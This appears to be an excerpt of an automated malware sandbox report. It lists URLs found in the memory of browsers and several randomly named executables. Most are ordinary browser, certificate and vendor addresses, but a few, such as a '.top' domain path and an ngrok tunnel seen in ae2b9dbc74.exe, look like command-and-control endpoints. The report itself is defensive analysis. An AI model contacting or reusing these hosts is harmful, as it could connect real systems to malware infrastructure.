Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: chrome.exe, 0000002E.00000002.3268386636.00003EDC00690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 067286f766.exe, 0000001A.00000003.2947632959.0000000000C15000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.3018370797.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000002A.00000003.3160010363.0000020492961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 0000002A.00000003.3111626594.000002048D044000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AF92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3243738167.00000204897C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AF92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3303809638.00003EDC00BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: firefox.exe, 0000002A.00000002.3296707003.000002048AED7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000002A.00000003.3097323108.0000020492515000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3265765041.000002048A603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3009164769.000002048A95C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3288454577.000002048ACF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3288454577.000002048ACFA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3265209880.000002048A503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000002A.00000003.3097323108.000002049257F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000002A.00000003.3097323108.000002049257F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: chrome.exe, 0000002E.00000002.3299899636.00003EDC00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: firefox.exe, 0000002A.00000002.3257961922.000002048A032000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: file.exe, file.exe, 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000002A.00000002.3293675357.000002048AD77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A16A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A125000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111626594.000002048D02B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3293675357.000002048AD5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: file.exe, 00000000.00000002.2463201448.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2451310904.000000001D4AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049257F000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 067286f766.exe, 0000001A.00000003.2928082142.00000000052C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049257F000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3096443119.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AF35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 0000002A.00000003.3160010363.0000020492961000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004712211.000002048A857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3311818035.00003EDC00C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: chrome.exe, 0000002E.00000002.3265560723.00003EDC004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3265001499.00003EDC00458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: 92cf6f64c8.exe, 0000001D.00000002.3008040725.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, 92cf6f64c8.exe, 0000001D.00000003.3005266541.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3301081919.000002048AF5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3162912536.000002048C6B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3169313322.000000F970FD8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AF5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwderIdL
Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000002A.00000003.3104081433.000002048BDBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3079366050.000002048BDBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3162912536.000002048C68E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AF0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AF0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/X
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
